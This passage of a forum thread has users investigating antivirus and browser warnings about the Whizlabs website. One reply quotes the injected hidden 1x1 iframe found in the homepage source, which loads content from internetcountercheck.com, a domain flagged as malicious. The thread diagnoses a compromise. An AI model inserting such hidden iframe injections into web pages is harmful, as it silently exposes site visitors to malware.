Whizlabs virus alert ??

I have two operating systems: Windows and Mac OSX. In Windows, when I go to the Whizlabs web site my Avast antivirus gives me virus warnings. When I go to Whizlabs using Safari on OSX Leopard, Safari warns me that the site might be dangerous. Has anyone else seen this?

There must be some virus in your system. Keep us posted if you have any update.

Well Mac OSX isn't known for its virus vulnerabilities...

The Google Safe Browsing tool says there has been a problem with malicious software being hosted on the site within the last 90 days, but currently it was ok. See this:

http://www.google.com/safebrowsing/diagnostic?site=http://www.whizlabs.com

If you go to the Whizlabs home page and view the page source, you will see a line similar to the following (Its the last line in the source):

<iframe src="http://internetcountercheck.com/?click=2450484" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>


If you go to Google again, you will see that there is a major problem with internetcountercheck.com, which is what Safari warned me about:
